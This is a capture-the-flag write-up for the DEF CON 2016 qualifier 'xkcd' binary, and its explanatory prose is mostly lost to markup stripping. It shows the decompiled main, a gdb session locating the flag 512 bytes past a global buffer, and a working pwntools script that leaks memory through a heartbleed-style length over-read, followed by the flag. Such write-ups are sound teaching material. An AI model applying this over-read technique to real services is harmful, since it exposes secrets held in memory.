xkcd[KR]

List

Unknown macro: 'html'

Unknown macro: 'html'

Information

Description

http://download.quals.shallweplayaga.me/be4bf26fcb93f9ab8aa193efaad31c3b/xkcd

xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me:1354

Might want to read that comic as well... 1354

File

- xkcd

Source Code

- https://github.com/legitbs/quals-2016/tree/master/xkcd

Writeup

File information

```
lazenca0x0@ubuntu:~/CTF/DEFCON2016/baby's/xkcd$ file xkcd
xkcd: ELF 64-bit LSB  executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.32, not stripped
lazenca0x0@ubuntu:~/CTF/DEFCON2016/baby's/xkcd$ checksec --file xkcd
RELRO           STACK CANARY      NX            PIE             RPATH
RUNPATH  FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH
No RUNPATH   Yes 2       40  xkcd
lazenca0x0@ubuntu:~/CTF/DEFCON2016/baby's/xkcd$
```

Unknown macro: 'html'

Binary analysis

Main

- .
  - fopen(), fread() "flag" .
  - fgetln() .
- .

?	"SERVER, ARE YOU STILL THERE"
? "	" IF SO, REPLY "

- " " , .
  - memcpy() globals .
- ( ) , .

( )

- "() LETTERS"

- sscanf() num .
  - globals num 0
- globals globals num .

main

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 lenStrtok; // rax@10
  unsigned __int64 num_1; // rbx@10
  const char **v7; // [rsp+0h] [rbp-40h]@1
  int lenLine; // [rsp+10h] [rbp-30h]@4
  int num; // [rsp+14h] [rbp-2Ch]@10
  char *ptrStr; // [rsp+18h] [rbp-28h]@4 MAPDST
  char *line; // [rsp+20h] [rbp-20h]@4
  __int64 ptrFile; // [rsp+28h] [rbp-18h]@1

  v7 = argv;
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  bzero(&gContentOfFile, 256LL);
  ptrFile = fopen64("flag", &mode);
  if ( ptrFile )
  {
    fread(&gContentOfFile, 1LL, 256LL, ptrFile);
    while ( 1 )
    {
      line = (char *)(signed int)fgetln(stdin, &lenLine);
      ptrStr = (char *)(signed int)strtok(line, "?");
      if ( (unsigned int)strcmp_0(ptrStr, "SERVER, ARE YOU STILL THERE") )
        break;
      ptrStr = (char *)(signed int)strtok(0LL, "\"");
      if ( (unsigned int)strcmp_0(ptrStr, " IF SO, REPLY ") )
      {
        puts((__int64)"MALFORMED REQUEST");
        exit(0xFFFFFFFFLL);
      }
      LODWORD(ptrStr) = (unsigned __int64)strtok(0LL, "\"");
      ptrStr = (char *)(signed int)ptrStr;
      lenStrtok = strlen((signed int)ptrStr);
      memcpy(globals, ptrStr, lenStrtok);
      ptrStr = (char *)(signed int)strtok(0LL, "(");
      ptrStr = (char *)(signed int)strtok(0LL, ")");
      _isoc99_sscanf((__int64)ptrStr, (__int64)"%d LETTERS", &num, v7);
      globals[num] = 0;
      num_1 = num;
      if ( num_1 > strlen(globals) )
      {
        puts((__int64)"NICE TRY");
        exit(0xFFFFFFFFLL);
      }
      puts((__int64)globals);
    }
    puts((__int64)"MALFORMED REQUEST");
    exit(0xFFFFFFFFLL);
  }
  puts((__int64)"Could not open the flag.");
  return -1;
}
```

Debuging

gContentOfFile & globals

- Break point

Break point

```
gdb-peda$ b *0x400FFD
Breakpoint 1 at 0x400ffd
gdb-peda$ b *0x4010E0
Breakpoint 2 at 0x4010e0
```

- .
  - gContentOfFile : 0x6b7540
  - globals : 0x6b7340
  - gContentOfFile - globals = 0x200(512)
- , globals, num flag string .

Debuging

```
Breakpoint 1, 0x0000000000400ffd in main ()
gdb-peda$ i r edi
edi            0x6b7540        0x6b7540
gdb-peda$ c
Continuing.
SERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAAAAAAAA" (10 LETTERS)


Breakpoint 2, 0x00000000004010e0 in main ()
gdb-peda$ i r edi
edi            0x6b7340        0x6b7340
gdb-peda$ p d 0x6b7540 - 0x6b7340
No symbol "d" in current context.
gdb-peda$ p/d 0x6b7540 - 0x6b7340
$1 = 512
gdb-peda$ x/4gx 0x6b7540
0x6b7540 <globals+512>:        0x67616c6620656854        0x336c62203a736920
0x6b7550 <globals+528>:        0x336820676e696433        0x0000000a35747234
gdb-peda$
```

Unknown macro: 'html'

Exploit plan

Description

- .
  - SERVER, ARE YOU STILL THERE? IF SO, REPLY \"%s\" (%d LETTERS)
    - %S 512 .
    - %d .
- 512 1 .

- The following information is required for an attack:

Check point

- N/a

Unknown macro: 'html'

Exploit Code

exploit.py

```
from pwn import *

flag = ''

for count in xrange(0,256):
    p = process("./xkcd")
    exploit = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY \"%s\" (%d
LETTERS)' % ('A'*512, 512 + count)
    p.sendline(exploit)
    content = p.recv()
    if('NICE TRY' in content):
        break

    flag = content[512:]

log.info('Flag : {}'.format(flag))
```

Unknown macro: 'html'

Flag

Flag	The flag is: bl33ding h34rt5

Related Site

- https://djsec.wordpress.com/2016/05/23/defcon-ctf-quals-2016-xkcd/
- http://sibears.ru/labs/DEF-CON-CTF-Quals-2016-xkcd/
- https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/DEFCONCTF/babysfirst/xkcd

Unknown macro: 'html'